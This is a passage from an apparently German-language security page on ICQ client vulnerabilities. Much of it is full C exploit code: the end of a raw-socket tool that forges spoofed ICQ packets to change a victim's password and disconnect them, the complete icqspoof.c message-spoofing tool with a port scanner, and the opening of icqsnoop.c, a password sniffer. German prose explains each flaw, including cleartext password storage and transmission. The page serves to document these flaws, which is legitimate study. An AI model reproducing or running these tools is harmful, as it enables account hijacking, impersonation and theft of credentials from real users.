WritePacket( data_ptr, &size, "S",argv[4] );</tt>
<br><tt>
create_icq4_hdr(hdr_ptr, random()&0xFFFF,</tt>
<br><tt>
COMMAND_CHANGEPASSWORD, size );</tt>
<br><tt>
hdr_size = ICQ4_END;</tt>
<p><tt>
for ( i = 0; i < count ; i++ ) {</tt>
<br><tt>
psize = IP_END + UDP_END + hdr_size + size;</tt>
<br><tt>
make_ip_hdr( packet, psize, IPPROTO_UDP,</tt>
<br><tt>
0x666, 0, you, addr_list[i], 0x7F );</tt>
<br><tt>
make_udp_hdr( packet, psize - IP_END,</tt>
<br><tt>
your_port, 4000);</tt>
<br><tt>
err = sendto( rawsock, packet, psize, 0,</tt>
<br><tt>
&raddr, sizeof(raddr));</tt>
<br><tt>
if ( err != psize ) { perror("Sending");</tt>
<br><tt>
exit(-1); } usleep( 1000 );</tt>
<br><tt>
err = sendto( rawsock, packet, psize, 0,</tt>
<br><tt>
&raddr, sizeof(raddr));</tt>
<br><tt>
if ( err != psize ) {</tt>
<br><tt>
perror("Sending");</tt>
<br><tt>
exit(-1);</tt>
<br><tt>
} } } }</tt>
<br><tt> printf("Disconnecting
the remote luser... \n");</tt>
<br><tt> create_icq3_header(hdr_ptr,
&hdr_size, RESPONSE_ERROR, 0, 0, icq_uin );</tt>
<br><tt> for ( i = 0; i <
count ; i++ ) {</tt>
<br><tt>
int psize;</tt>
<br><tt>
psize = IP_END + UDP_END + hdr_size;</tt>
<br><tt>
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,</tt>
<br><tt>
addr_list[i], you, 0x7F );</tt>
<br><tt>
make_udp_hdr( packet, psize - IP_END, 4000,your_port );</tt>
<br><tt>
err = sendto( rawsock, packet, psize, 0,</tt>
<br><tt>
&raddr, sizeof(raddr));</tt>
<br><tt>
if ( err != psize ) { perror("Sending"); exit(-1); } }</tt>
<br><tt> free( addr_list );</tt>
<br><tt>}</tt></blockquote>
<a NAME="wumpus4.c"></a>
<blockquote><tt>/*------------------------------------------------------------------------------</tt>
<p><tt> ICQ "Secret" check data.</tt>
<p><tt> This data is LIKELY to be copyrighted by ICQ. This
data is used with this</tt>
<br><tt> program under the Fair Use clause of the U.S. Copyright
Code.</tt>
<p><tt> The reason the use of this data falls under the Fair Use
clause is that it</tt>
<br><tt> is _NECESSARY_ for a program to use this data to interact
with the ICQ</tt>
<br><tt> protocol. Without this data, a program would not be
able to successfully</tt>
<br><tt> determine if a packet's "checksum" was valid, nor be able
to communicate</tt>
<br><tt> with the ICQ server.</tt>
<p><tt> The reader might choose to draw their own conclusions about
a company that</tt>
<br><tt> needs to not only obscure a their protocol, but make it
awkward for 3rd</tt>
<br><tt> parties to implement it.</tt>
<p><tt> *----------------------------------------------------------------------------*/</tt>
<br><tt>unsigned char icq_check_data[256] = {</tt>
<br><tt> 0x0a, 0x5b, 0x31, 0x5d,
0x20, 0x59, 0x6f, 0x75,</tt>
<br><tt> 0x20, 0x63, 0x61, 0x6e,
0x20, 0x6d, 0x6f, 0x64,</tt>
<br><tt> 0x69, 0x66, 0x79, 0x20,
0x74, 0x68, 0x65, 0x20,</tt>
<br><tt> 0x73, 0x6f, 0x75, 0x6e,
0x64, 0x73, 0x20, 0x49,</tt>
<br><tt> 0x43, 0x51, 0x20, 0x6d,
0x61, 0x6b, 0x65, 0x73,</tt>
<br><tt> 0x2e, 0x20, 0x4a, 0x75,
0x73, 0x74, 0x20, 0x73,</tt>
<br><tt> 0x65, 0x6c, 0x65, 0x63,
0x74, 0x20, 0x22, 0x53,</tt>
<br><tt> 0x6f, 0x75, 0x6e, 0x64,
0x73, 0x22, 0x20, 0x66,</tt>
<br><tt> 0x72, 0x6f, 0x6d, 0x20,
0x74, 0x68, 0x65, 0x20,</tt>
<br><tt> 0x22, 0x70, 0x72, 0x65,
0x66, 0x65, 0x72, 0x65,</tt>
<br><tt> 0x6e, 0x63, 0x65, 0x73,
0x2f, 0x6d, 0x69, 0x73,</tt>
<br><tt> 0x63, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x49, 0x43,</tt>
<br><tt> 0x51, 0x20, 0x6f, 0x72,
0x20, 0x66, 0x72, 0x6f,</tt>
<br><tt> 0x6d, 0x20, 0x74, 0x68,
0x65, 0x20, 0x22, 0x53,</tt>
<br><tt> 0x6f, 0x75, 0x6e, 0x64,
0x73, 0x22, 0x20, 0x69,</tt>
<br><tt> 0x6e, 0x20, 0x74, 0x68,
0x65, 0x20, 0x63, 0x6f,</tt>
<br><tt> 0x6e, 0x74, 0x72, 0x6f,
0x6c, 0x20, 0x70, 0x61,</tt>
<br><tt> 0x6e, 0x65, 0x6c, 0x2e,
0x20, 0x43, 0x72, 0x65,</tt>
<br><tt> 0x64, 0x69, 0x74, 0x3a,
0x20, 0x45, 0x72, 0x61,</tt>
<br><tt> 0x6e, 0x0a, 0x5b, 0x32,
0x5d, 0x20, 0x43, 0x61,</tt>
<br><tt> 0x6e, 0x27, 0x74, 0x20,
0x72, 0x65, 0x6d, 0x65,</tt>
<br><tt> 0x6d, 0x62, 0x65, 0x72,
0x20, 0x77, 0x68, 0x61,</tt>
<br><tt> 0x74, 0x20, 0x77, 0x61,
0x73, 0x20, 0x73, 0x61,</tt>
<br><tt> 0x69, 0x64, 0x3f, 0x20,
0x20, 0x44, 0x6f, 0x75,</tt>
<br><tt> 0x62, 0x6c, 0x65, 0x2d,
0x63, 0x6c, 0x69, 0x63,</tt>
<br><tt> 0x6b, 0x20, 0x6f, 0x6e,
0x20, 0x61, 0x20, 0x75,</tt>
<br><tt> 0x73, 0x65, 0x72, 0x20,
0x74, 0x6f, 0x20, 0x67,</tt>
<br><tt> 0x65, 0x74, 0x20, 0x61,
0x20, 0x64, 0x69, 0x61,</tt>
<br><tt> 0x6c, 0x6f, 0x67, 0x20,
0x6f, 0x66, 0x20, 0x61,</tt>
<br><tt> 0x6c, 0x6c, 0x20, 0x6d,
0x65, 0x73, 0x73, 0x61,</tt>
<br><tt> 0x67, 0x65, 0x73, 0x20,
0x73, 0x65, 0x6e, 0x74,</tt>
<br><tt> 0x20, 0x69, 0x6e, 0x63,
0x6f, 0x6d, 0x69, 0x6e };</tt>
<br>
<p><tt>/*</tt>
<br>
<p><tt>
1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3</tt>
<br><tt> 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
2 3 4 5 6 7 8 9 0 1</tt>
<br><tt> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</tt>
<br><tt> | 4
| 0
| RANDOM
|</tt>
<br><tt> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</tt>
<br><tt> |
ZEROS
| COMMAND
|</tt>
<br><tt> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</tt>
<br><tt> |
SEQUENCE
| SECOND SEQUENCE
|</tt>
<br><tt> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</tt>
<br><tt> |
UIN
|</tt>
<br><tt> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</tt>
<br><tt> |
CHECK
|</tt>
<br><tt> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</tt>
<br><tt>*/</tt>
<p><tt>typedef struct icq4_hdr</tt>
<br><tt>{</tt>
<br><tt> unsigned char version[2]
__attribute((packed)); /* 04 00 */</tt>
<br><tt> unsigned short random
__attribute((packed)); /* _why_?? */</tt>
<br><tt> unsigned short zeros
__attribute((packed)); /* why not...? */</tt>
<br><tt> unsigned short command
__attribute((packed));</tt>
<br><tt> unsigned short sequence
__attribute((packed));</tt>
<br><tt> unsigned short sequence2
__attribute((packed)); /* 1 isn't enuf! */</tt>
<br><tt> unsigned long uid __attribute((packed));</tt>
<br><tt> unsigned long checksum
__attribute((packed)); /* pure paranoia! */</tt>
<br><tt> unsigned char data[0];</tt>
<br><tt>} icq4_hdr;</tt>
<br>
<p><tt>#define ICQ4_VER 0</tt>
<br><tt>#define ICQ4_RANDOM 2</tt>
<br><tt>#define ICQ4_ZERO 4</tt>
<br><tt>#define ICQ4_COMMAND 6</tt>
<br><tt>#define ICQ4_SEQ 8</tt>
<br><tt>#define ICQ4_SEQ2 10</tt>
<br><tt>#define ICQ4_UID 12</tt>
<br><tt>#define ICQ4_CHECK 16</tt>
<br><tt>#define ICQ4_END 20</tt>
<p><tt>void create_icq4_hdr(</tt>
<br><tt>
u8 * data_ptr,</tt>
<br><tt>
u16 any_number,</tt>
<br><tt>
u16 command,</tt>
<br><tt>
int data_size</tt>
<br><tt>
)</tt>
<br><tt>{</tt>
<br><tt>u32 check;</tt>
<br><tt>u32 check2;</tt>
<br><tt>u32 keyvalue;</tt>
<br><tt>int count;</tt>
<br><tt>int length;</tt>
<br><tt>int i;</tt>
<br><tt>u8 ofs;</tt>
<br><tt>u8 val;</tt>
<p><tt>length = data_size + ICQ4_END;</tt>
<p><tt>memset( data_ptr, 0, ICQ4_END );</tt>
<p><tt>word(*data_ptr, ICQ4_VER ) = 0x4;</tt>
<br><tt>word(*data_ptr, ICQ4_RANDOM) = any_number;</tt>
<br><tt>word(*data_ptr, ICQ4_COMMAND ) = command;</tt>
<br><tt>word(*data_ptr, ICQ4_SEQ ) = icq_seq;</tt>
<br><tt>word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2;</tt>
<br><tt>dword(*data_ptr,ICQ4_UID ) = icq_uin;</tt>
<br><tt>dword(*data_ptr,ICQ4_CHECK) = 0x0;</tt>
<p><tt>check = ( *(data_ptr + 8) << 24) |</tt>
<br><tt> ( *(data_ptr + 4) <<
16 ) |</tt>
<br><tt> ( *(data_ptr + 2) <<
8 ) |</tt>
<br><tt> ( *(data_ptr + 6) );</tt>
<br><tt>/*</tt>
<br><tt>printf("First check is %08lx\n", check );</tt>
<br><tt>*/</tt>
<p><tt>#if 1</tt>
<br><tt>ofs = random() % length;</tt>
<br><tt>val = *(data_ptr + ofs );</tt>
<br><tt>check2 = ( ofs << 24 ) | ( val << 16 );</tt>
<br><tt>ofs = random() % 256;</tt>
<br><tt>val = icq_check_data[ ofs ];</tt>
<br><tt>check2 |= ( ofs << 8 ) | ( val );</tt>
<br><tt>check2 ^= 0x00FF00FF;</tt>
<p><tt>#endif</tt>
<br><tt>#if 0</tt>
<br><tt>check2 = (( 0x04 ) << 24 ) | /* TODO: make
random */</tt>
<br><tt> ( *(data_ptr +
4) << 16 ) |</tt>
<br><tt> (( 231 ) <<
8 ) | /* ???? */</tt>
<br><tt> (( 0x61 ) );</tt>
<br><tt>printf("Second check is %08lx\n", check );</tt>
<br><tt>check2 ^= 0x00FF00FF;</tt>
<p><tt>#endif</tt>
<br><tt>check ^= check2;</tt>
<p><tt>dword(*data_ptr,ICQ4_CHECK ) = check;</tt>
<p><tt>keyvalue = length * 0x66756B65;</tt>
<br><tt>keyvalue += check;</tt>
<br><tt>/*</tt>
<br><tt>printf("Length %d Key is %08lx \n", length, keyvalue );</tt>
<br><tt>*/</tt>
<p><tt>count = ( length + 3 ) / 4;</tt>
<br><tt>count += 3;</tt>
<br><tt>count /= 4;</tt>
<p><tt>for ( i = 0; i < count ; i++ ) {</tt>
<br><tt> u32 * r;</tt>
<p><tt> if ( i == 4 )</tt>
<br><tt>
continue;</tt>
<p><tt> r = (u32 *)(data_ptr
+ (i*4) );</tt>
<br><tt>#if 0</tt>
<br><tt> printf("Xoring %d %08lx
with %08lx to get %08lx (check:%02x)\n",</tt>
<br><tt>
i, *r, keyvalue + icq_check_data[i*4],</tt>
<br><tt>
*r ^ (keyvalue+icq_check_data[i*4] ), icq_check_data[i*4] );</tt>
<br><tt>#endif</tt>
<br><tt> *r ^= (keyvalue + icq_check_data[i*4]
);</tt>
<br><tt> }</tt>
<br><tt>word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */</tt>
<br><tt>}</tt>
<br>
<p><tt>void create_icq3_header(
u8 * data_ptr,</tt>
<br><tt>
int * size,</tt>
<br><tt>
u16 command,</tt>
<br><tt>
u16 seq1,</tt>
<br><tt>
u16 seq2,</tt>
<br><tt>
u32 UIN )</tt>
<br><tt>{</tt>
<br><tt> int
len;</tt>
<br><tt> int
len2;</tt>
<br><tt> int
err;</tt>
<br><tt> u32
check;</tt>
<br><tt> u32
check2;</tt>
<br><tt> int
ofs;</tt>
<br><tt> int
val;</tt>
<p><tt> err = WritePacket( data_ptr,&len,
"WWWWL",</tt>
<br><tt>
0x03, /* Version, Constant */</tt>
<br><tt>
command,</tt>
<br><tt>
seq1,</tt>
<br><tt>
seq2,</tt>
<br><tt>
UIN );</tt>
<br><tt> if ( err == FAILURE
) {</tt>
<br><tt>
printf("Programmer Error in create_icq3_header\n");</tt>
<br><tt>
exit(-1);</tt>
<br><tt> }</tt>
<p><tt> check = ( *(data_ptr
+ 8) << 24) |</tt>
<br><tt>
( *(data_ptr + 4) << 16 ) |</tt>
<br><tt>
( *(data_ptr + 2) << 8 ) |</tt>
<br><tt>
( *(data_ptr + 6) );</tt>
<br><tt> ofs = random() % len;</tt>
<br><tt> val = *(data_ptr + ofs
);</tt>
<br><tt> check2 = ( ofs <<
24 ) |</tt>
<br><tt>
( val << 16 );</tt>
<br><tt> ofs = random() % 256;</tt>
<br><tt> val = icq_check_data[
ofs ];</tt>
<br><tt> check2 |= ( ofs <<
8 ) |</tt>
<br><tt>
( val );</tt>
<br><tt> check2 ^= 0x00FF00FF;</tt>
<br><tt> check ^= check2;</tt>
<p><tt> err = WritePacket( (data_ptr
+ len),&len2,"L",</tt>
<br><tt>
check );</tt>
<br><tt> *size = len + len2;</tt>
<br><tt>}</tt>
<br>
<br>
<p><tt>#define ICQ_VER
0</tt>
<br><tt>#define ICQ_CMD
2</tt>
<br><tt>#define ICQ_SEQ
4</tt>
<br><tt>#define ICQ_SEQ2 6</tt>
<br><tt>#define ICQ_UID
8</tt>
<br><tt>#define ICQ_UNKNOWN 12</tt>
<br><tt>#define ICQ_END
16</tt>
<p><tt>int decode_icq3_header( u8 * data_ptr,</tt>
<br><tt>
u16 * command,</tt>
<br><tt>
u16 * sequence,</tt>
<br><tt>
u16 * sequence2,</tt>
<br><tt>
u8 ** icqdata )</tt>
<br><tt>{</tt>
<br><tt> u16
version;</tt>
<br><tt> u32
check;</tt>
<br><tt> u8
ofs;</tt>
<br><tt> u8
val;</tt>
<p><tt> version = word( *data_ptr,
0 );</tt>
<br><tt> if ( version != 3 )
{</tt>
<br><tt>
fprintf(stderr,"Unknown version %04lx\n", version );</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> }</tt>
<br><tt> check = ( *(data_ptr
+ 8) << 24) |</tt>
<br><tt>
( *(data_ptr + 4) << 16 ) |</tt>
<br><tt>
( *(data_ptr + 2) << 8 ) |</tt>
<br><tt>
( *(data_ptr + 6) );</tt>
<br><tt> check ^= dword( *data_ptr,
ICQ_UNKNOWN );</tt>
<br><tt> check ^= 0x00FF00FF;</tt>
<br><tt> ofs = check >> 24;</tt>
<br><tt> val = ( check >> 16)
& 0xFF;</tt>
<br><tt> if ( data_ptr[ ofs ]
!= val ) {</tt>
<br><tt>
printf("**** ICQ3 CHECK MISMATCH %d is %02X not %02X\n",</tt>
<br><tt>
ofs, data_ptr[ofs], val );</tt>
<br><tt> }</tt>
<br><tt> ofs = (check >> 8) &
0xFF;</tt>
<br><tt> val = check & 0xFF;</tt>
<br><tt> if ( icq_check_data[
ofs ] != val ) {</tt>
<br><tt>
printf("**** ICQ3 CHECK MISMATCH %d is %02X not %02X\n",</tt>
<br><tt>
ofs, icq_check_data[ofs], val );</tt>
<br><tt> }</tt>
<br><tt> *command = word( *data_ptr,
ICQ_CMD );</tt>
<br><tt> *sequence = word( *data_ptr,
ICQ_SEQ );</tt>
<br><tt> *sequence2 = word( *data_ptr,
ICQ_SEQ2 );</tt>
<br><tt> if ( dword(*data_ptr,ICQ_UID)
!= icq_uin ) {</tt>
<br><tt>
fprintf(stderr,"Error! Packet uid %08lx isn't %08lx \n",</tt>
<br><tt>
dword(*data_ptr, ICQ_UID), icq_uin );</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> }</tt>
<br><tt> *icqdata = data_ptr
+ ICQ_END;</tt>
<br><tt> return SUCCESS;</tt>
<br><tt>}</tt></blockquote>
<a href="http://www.mirabilis.com/">Mirabilis</a> warnte offiziell vor
dieser Attacke. Leider sind viele Versions-Nummern vergangen, bis ein Client
veröffentlicht wurde, der nicht mehr anfällig auf diese Attacke
war. <a href="http://www.mirabilis.com/">Mirabilis</a> hätte diese
Sicherheitslücke gar nicht erst entstehen lassen dürfen, indem
sie das Protokoll zuvor der Öffentlichkeit zur Analyse präsentierten.</blockquote>
<a NAME="3.1.4"></a><b><font size=+1>3.1.4 ICQ98b: IP-Sniffing durch TCP-Pakete</font></b>
<blockquote>Das Zusammenspiel von Windows NT 4.0 und ICQ 98beta funktioniert
nicht ganz tadellos, wenn es um das Verhindern des Freigebens interner
IP-Adressen geht:
<ol>
<li>
Host A läuft mit Windows NT 4.0 und hat eine funktionierende Ethernet-Anbindung
mit der nicht ins Internet gerouteten IP-Adresse 192.168.0.3und noch eine
Dial-Up-Connection per Modem mit der dynamischen IP 205.188.160.121.</li>
<li>
Der Anwender am Rechner A stellt eine ICQ-Konversation mit dem Nutzer von
Host B, der Windows 98 am laufen hat. Rechner B hat eine Ethernet-Anbindung
mit 10.0.0.7 und Modem mit der statischen IP 195.24.64.6.</li>
<li>
Die TCP-Kommunikation findet nun genau zwischen den IPs 205.188.160.121
und 195.24.64.6 statt.</li>
</ol>
Ein nun durch ICQ generiertes Paket steckt normalerweise die externe IP-Adresse
doppelt ins Ende der TCP-Daten (1952464619524646). Dies ist bei Windows
NT 4.0 jedoch leider anders: Dort wird ans Ende der TCP-Daten zuerst die
externe IP, danach die interne Adresse gehängt (20518816012119216803).
<p>Es wurden keine Patches zur Lösung dieses Problemes bei der dargestellten
Konstellation herausgegeben. Es empfiehlt sich einfach ein Umstieg bzw.
Update, um nicht diesem sonderbaren Versionskonflikt unterworfen zu sein.</blockquote>
<a NAME="3.1.5"></a><b><font size=+1>3.1.5 ICQ98b: Message-Spoofing</font></b>
<blockquote>Seth McGann postete vor längerer Zeit einen selber geschriebenen
ICQ-Spoofer in C mit dem Namen <a href="#icqspoof.c">icqspoof.c</a>:
<blockquote><a NAME="icqspoof.c"></a><tt>/* icqspoof.c - v2. This
program sends a message to a given ICQ user and it</tt>
<br><tt>* will appear to be from an arbitrary UIN. Loads of fun.</tt>
<br><tt>*</tt>
<br><tt>* Notes:</tt>
<br><tt>* As many of you know icqflood.c has been distributed by
enkil^ and irQ.</tt>
<br><tt>* They claim their program is all their own work. Yet
the "header" they</tt>
<br><tt>* use contains MY UIN. Strange, eh?</tt>
<br><tt>* A simple, "Packet Dump that we based our exploit on provided
by Seth</tt>
<br><tt>* McGann" would have been enough. Even though I didn't specifically</tt>
<br><tt>* request credit it might have been nice to say something.
In the future</tt>
<br><tt>* when you expand on someone's idea and work (yeah those traces
didn't fall</tt>
<br><tt>* out of the sky ya know) give credit where credit is due.</tt>
<br><tt>*</tt>
<br><tt>* Concept, Protocol Analysis and Coding: Seth McGann</tt>
<br><tt>* Some functions dealing with socket scanning: icqflood.c by enkil^
and irQ</tt>
<br><tt>* With help from my roomate (target practice)</tt>
<br><tt>* And yes, this still works with ICQ 98. Coming soon: Chat and
File Spoofing</tt>
<br><tt>*/</tt>
<p><tt>#include <stdio.h></tt>
<br><tt>#include <string.h></tt>
<br><tt>#include <sys/types.h></tt>
<br><tt>#include <sys/socket.h></tt>
<br><tt>#include <netinet/in.h></tt>
<br><tt>#include <netdb.h></tt>
<br><tt>#include <arpa/inet.h></tt>
<br><tt>#include <string.h></tt>
<p><tt>int main(argc, argv)</tt>
<br><tt>int argc;</tt>
<br><tt>char *argv[];</tt>
<br><tt>{</tt>
<br><tt> struct sockaddr_in sin;</tt>
<br><tt> int sock,i,x,y;</tt>
<br><tt> unsigned long uin;</tt>
<br><tt> int Port;</tt>
<p><tt> char buffer[16];</tt>
<br><tt> int connected = 1;</tt>
<br><tt> typedef struct icq_prot {</tt>
<br><tt> unsigned char magicNum[2];</tt>
<br><tt> unsigned char UIN[4];</tt>
<br><tt> unsigned char unknown[4];</tt>
<br><tt> unsigned char unknown2[2];</tt>
<br><tt> unsigned char length[2];</tt>
<br><tt> unsigned char strng[256];</tt>
<br><tt> } icq_prot;</tt>
<br><tt> icq_prot sendMessage;</tt>
<br><tt> unsigned long temp;</tt>
<br><tt> unsigned char bigguy[1024];</tt>
<br><tt> if (argc != 6) {</tt>
<br><tt> fprintf(stderr,"Usage: icqspoof ip SpoofedUIN
message startport</tt>
<br><tt>endport\n");</tt>
<br><tt> exit(1);</tt>
<br><tt> }</tt>
<br><tt> Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5]));</tt>
<br><tt> if (Port == -1) {</tt>
<br><tt>
printf("No ICQ Port Found =(\n");</tt>
<br><tt>
return;</tt>
<br><tt> }</tt>
<p><tt> sendMessage.magicNum[0]=0x2e;</tt>
<br><tt> sendMessage.magicNum[1]=0x0;</tt>
<br><tt> sendMessage.unknown[0]=0x04;</tt>
<br><tt> sendMessage.unknown[1]=0x01;</tt>
<br><tt> sendMessage.unknown[2]=0x0F;</tt>
<br><tt> sendMessage.unknown[3]=0x0;</tt>
<br><tt> sendMessage.unknown2[0]=0x01;</tt>
<br><tt> sendMessage.unknown2[1]=0x0;</tt>
<br><tt> temp=atol(argv[2]);</tt>
<br><tt> sendMessage.UIN[0]=temp & 0xFF;</tt>
<br><tt> sendMessage.UIN[1]=(temp >> 8) & 0xFF;</tt>
<br><tt> sendMessage.UIN[2]=(temp >> 16) & 0xFF;</tt>
<br><tt> sendMessage.UIN[3]=0;</tt>
<br><tt> strncpy(sendMessage.strng,argv[3],256);</tt>
<br><tt> sendMessage.length[0]=strlen(sendMessage.strng)+1;</tt>
<br><tt> sendMessage.length[1]=0;</tt>
<p><tt> if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {</tt>
<br><tt>
printf("Error: Unable to creat socket, Exiting.\n");</tt>
<br><tt>
exit(1);</tt>
<br><tt>
}</tt>
<br><tt> sin.sin_family = AF_INET;</tt>
<br><tt>
sin.sin_addr.s_addr = inet_addr(argv[1]);</tt>
<br><tt>
sin.sin_port = htons(Port);</tt>
<br>
<p><tt> if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1)
{</tt>
<br><tt>
printf("Error Connecting to Socket\n");</tt>
<br><tt>
return;</tt>
<br><tt> }</tt>
<br>
<br>
<p><tt> x=20;</tt>
<br><tt> bigguy[0]=(41+strlen(sendMessage.strng)+1) & 0xFF;</tt>
<br><tt> bigguy[1]=((41+strlen(sendMessage.strng)+1) >> 8)
& 0xFF;</tt>
<br><tt> bigguy[2]=sendMessage.UIN[0];</tt>
<br><tt> bigguy[3]=sendMessage.UIN[1];</tt>
<br><tt> bigguy[4]=sendMessage.UIN[2];</tt>
<br><tt> bigguy[5]=sendMessage.UIN[3];</tt>
<br><tt> bigguy[6]=0x02;</tt>
<br><tt> bigguy[7]=0x00;</tt>
<br><tt> bigguy[8]=0xEE;</tt>
<br><tt> bigguy[9]=0x07;</tt>
<br><tt> bigguy[10]=0x00;</tt>
<br><tt> bigguy[11]=0x00;</tt>
<br><tt> bigguy[12]=sendMessage.UIN[0];</tt>
<br><tt> bigguy[13]=sendMessage.UIN[1];</tt>
<br><tt> bigguy[14]=sendMessage.UIN[2];</tt>
<br><tt> bigguy[15]=sendMessage.UIN[3];</tt>
<br><tt> bigguy[16]=0x01;</tt>
<br><tt> bigguy[17]=0x00;</tt>
<br><tt> bigguy[18]=sendMessage.length[0];</tt>
<br><tt> bigguy[19]=sendMessage.length[1];</tt>
<br><tt> for(i=0;i<sendMessage.length[0];i++)</tt>
<br><tt> bigguy[x++]=sendMessage.strng[i];</tt>
<br><tt> bigguy[x++]=0x82;</tt>
<br><tt> bigguy[x++]=0xD7;</tt>
<br><tt> bigguy[x++]=0xF3;</tt>
<br><tt> bigguy[x++]=0x20;</tt>
<br><tt> bigguy[x++]=0x82;</tt>
<br><tt> bigguy[x++]=0xD7;</tt>
<br><tt> bigguy[x++]=0xF3;</tt>
<br><tt> bigguy[x++]=0x20;</tt>
<br><tt> bigguy[x++]=0x09;</tt>
<br><tt> bigguy[x++]=0x04;</tt>
<br><tt> bigguy[x++]=0x00;</tt>
<br><tt> bigguy[x++]=0x00;</tt>
<br><tt> bigguy[x++]=0x04;</tt>
<br><tt> bigguy[x++]=0x00;</tt>
<br><tt> bigguy[x++]=0x00;</tt>
<br><tt> bigguy[x++]=0x10;</tt>
<br><tt> bigguy[x++]=0x01;</tt>
<br><tt> bigguy[x++]=0xEB;</tt>
<br><tt> bigguy[x++]=0xFF;</tt>
<br><tt> bigguy[x++]=0xFF;</tt>
<br><tt> bigguy[x++]=0xFF;</tt>
<br><tt> bigguy[x++]=0x02;</tt>
<br><tt> bigguy[x++]=0x00;</tt>
<br><tt> bigguy[x++]=0x0A;</tt>
<br><tt> bigguy[x++]=0x09;</tt>
<br><tt> bigguy[x++]=0x00;</tt>
<br><tt> write(sock,bigguy,x-1);</tt>
<br><tt> printf("Done!\n");</tt>
<br><tt> close(sock);</tt>
<br><tt> return 0;</tt>
<br><tt>}</tt>
<p><tt>int ScanPort(char *ipaddr, int StartIP, int EndIP) {</tt>
<br><tt> struct sockaddr_in sin;</tt>
<br><tt> int sock,x,y;</tt>
<br><tt> unsigned long uin;</tt>
<br><tt> printf("Scanning Ports");</tt>
<br><tt> for (x=StartIP;x<=EndIP;++x)
{</tt>
<br><tt>
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {</tt>
<br><tt>
printf("Error: Unable to connect\n");</tt>
<br><tt>
return -1;</tt>
<br><tt>
}</tt>
<br><tt>
sin.sin_family = AF_INET;</tt>
<br><tt>
sin.sin_addr.s_addr = inet_addr(ipaddr);</tt>
<br><tt>
sin.sin_port = htons(x);</tt>
<p><tt>
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {</tt>
<br><tt>
close(sock);</tt>
<br><tt>
printf("Port %d Open! Spoofing...\n",x);</tt>
<br><tt>
fflush(stdout);</tt>
<br><tt>
return x;</tt>
<br><tt>
}</tt>
<br><tt>
printf(".");</tt>
<br><tt>
fflush(stdout);</tt>
<br><tt> }</tt>
<br><tt> printf("\n");</tt>
<br><tt> return -1;</tt>
<br><tt>}</tt></blockquote>
Dieses Programm schickt an einen ICQ98-User eine Nachricht, wobei die Ursprungs-UIN
frei gewählt werden darf.</blockquote>
<a NAME="3.1.6"></a><b><font size=+1>3.1.6 ICQ99a: Passwörter werden
im Klartext gespeichert</font></b>
<blockquote>Die Damen und Herren von <a href="http://www.mirabilis.com/">Mirabilis</a>
lassen ihren Chat-Clienten das Benutzer- und POP3-Passwort in ICQ99a im
Klartext in der Datei "<tt>ICQ\NewDB\uin#.dat</tt>" speichern, wie ich
herausgefunden habe. Diese Datei kann ganz normal mit einem ASCII-Editor,
zum Beispiel dem Notepad, geöffnet werden. Gibt man nun sein Passwort
in der Suche ein, wird man zur Stelle katapultiert, in der das Passwort
gespeichert wurde. Es gibt diverse Programme, die diese Aktion automatisieren
können, um dem User das (vergessene) Passwort mitzuteilen. Eines der
ersten und besten heisst ICQPass und funktioniert ausschliesslich mit ICQ99a.
<p>Das Passwort wird nicht gespeichert, wenn man die automatische Funktion
in den "<tt>Security & Privacy Settings</tt>" deaktiviert wurde, was
jedoch auf Dauer ziemlich umständlich werden kann. Ein Update auf
eine neuer ICQ-Version schafft einfacher Abhilfe und bringt neue Features
mit sich.</blockquote>
<a NAME="3.1.7"></a><b><font size=+1>3.1.7 ICQ99a: Unsichere Authentifizierung</font></b>
<blockquote>Alan Cox fand eine Sicherheitslücke im schon etwas älteren
offiziellen Mirabilis-Client für Windows. Es kristallisieren sich
bei näheren Betrachtung zwei Sicherheitsprobleme beim ziemlich transparenten
Protokoll von ICQ heraus. Da dieses Protokoll nicht öffentlich einsehbar
ist, kann davon ausgegangen werden, dass noch weitere verborgene Probleme
in Zukunft auf die ICQ-Nutzer zukommen könnten.
<p>Der erste Fehler ist eine schlichtweg dumme und faule Haltung der Entwickler,
denn bei der Authentifizierung des ICQ-Clients werden die Zugangsdaten
(UIN und Passwort) im Klartext an den Mirabilis-Server geschickt. Das Programm
<a href="#icqsnoop.c">icqsnoop.c</a>
schnüffelt automatisch nach dem Passwort:
<blockquote><a NAME="icqsnoop.c"></a><tt>/*</tt>
<br><tt> * Snoop ICQ traffic for a set
host. Shows how simplistic ICQ</tt>
<br><tt> * is and how easy it is to
snoop it.</tt>
<br><tt> */</tt>
<p><tt>#include <stdio.h></tt>
<br><tt>#include <string.h></tt>
<br><tt>#include <stdlib.h></tt>
<br><tt>#include <signal.h></tt>
<br><tt>#include <ctype.h></tt>
<br><tt>#include <sys/socket.h></tt>
<br><tt>#include <net/if.h></tt>
<br><tt>#include <net/if_arp.h></tt>
<br><tt>#include <netinet/in.h></tt>
<br><tt>#include <linux/ip.h></tt>
<br><tt>#include <linux/udp.h></tt>
<p><tt>/*</tt>
<br><tt> * PUT THE IP ADDRESS OF THE
CLIENT TO SNOOP HERE OR IT WONT WORK</tt>
<br><tt> */</tt>
